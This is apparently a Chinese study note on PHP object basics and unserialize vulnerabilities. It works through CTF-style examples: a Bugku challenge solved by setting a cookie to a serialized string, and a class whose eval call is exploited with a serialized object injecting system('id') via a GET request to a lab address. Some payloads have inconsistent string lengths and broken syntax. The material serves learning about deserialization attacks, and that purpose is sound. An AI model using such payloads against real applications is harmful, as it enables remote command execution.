php面向对象基础知识
类 内部构成
成员变量(属性)在类中直接定义的变量
成员函数(方法)在类中定义的函数
对象 是对类的实例化
类的修饰符 决定了成员属性的调用范围

(图里类的子部应该是类的子类)
序列化基础知识
魔术方法
反序列化逃逸
session反序列化漏洞
phar反序列化
简单的payload例题
例1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| <?php error_reporting(0); $KEY='ctf.bugku.com'; include_once("flag.php"); $cookie = $_COOKIE['BUGKU'];
if(isset($_GET['23065'])) { show_source(__FILE__); } elseif (unserialize($cookie) === "$KEY") { echo "$flag"; } else { ?> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>Login</title> <link rel="stylesheet" href="admin.css" type="text/css"> </head> <body> <br> <div class="container" align="center"> <form method="POST" action="#"> <p><input name="user" type="text" placeholder="Username"></p> <p><input name="password" type="password" placeholder="Password"></p> <p><input value="Login" type="button"></p> </form> </div> </body> </html> <?php } ?>
|
其中$_COOKIE是超全局变量,实际上就是浏览器里的cookie,有[]证明它其实是个数组,其中有一个名为BUGKU的数据
$cookie = $_COOKIE[‘BUGKU’]就是把后者赋值到前者,方便表达
===是全等运算符,要保证两端的值和类型都相等
也就是说,必须让cookie反序列化的结果和变量KEY全等,也就是等于ctf.bugku.com
由于这里没有类,不涉及对象,payload直接用字符串反序列化的格式即可
bp抓包后把cookie的值改成s:13:'ctf.bugku.com';即可
例2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php highlight_file(__FILE__); error_reporting(0);
class test { public $a = 'echo "this is test!!";'; public function displayVar() { eval($this->a); } }
$get = $_GET["benben(可控字符串)"]; $b = unserialize($get); $b->displayVar() ;
?>
|
$_GET同样是超全局变量
它可用于收集提交HTML表单(method=”get”)之后的表单数据。_GET也可以收集URL中的发送的数据
eval()可以执行命令
我们必须要让定义的$a为我们想执行的命令,比如system("id");
反序列化函数unserialize会根据我们提供的字符串,在内存中重新创建一个全新的对象
O:4:"test":1:{s:1:"a";s:15:"system('id');";}
就是找到tset这个类,生成成员方法为a,值是system('id')的对象
而这段payload可以通过GET方式被提交
172.16.1.6:8006/class06/index.php?benben=O:4:"test":1:{s:1:"a";s:13:"system("id");";}
魔术方法

benben=O:4:”User”;1{s:8:”username”;s:2:”ls”;}
benben=0:4:”User”;1{s:8:”username”;}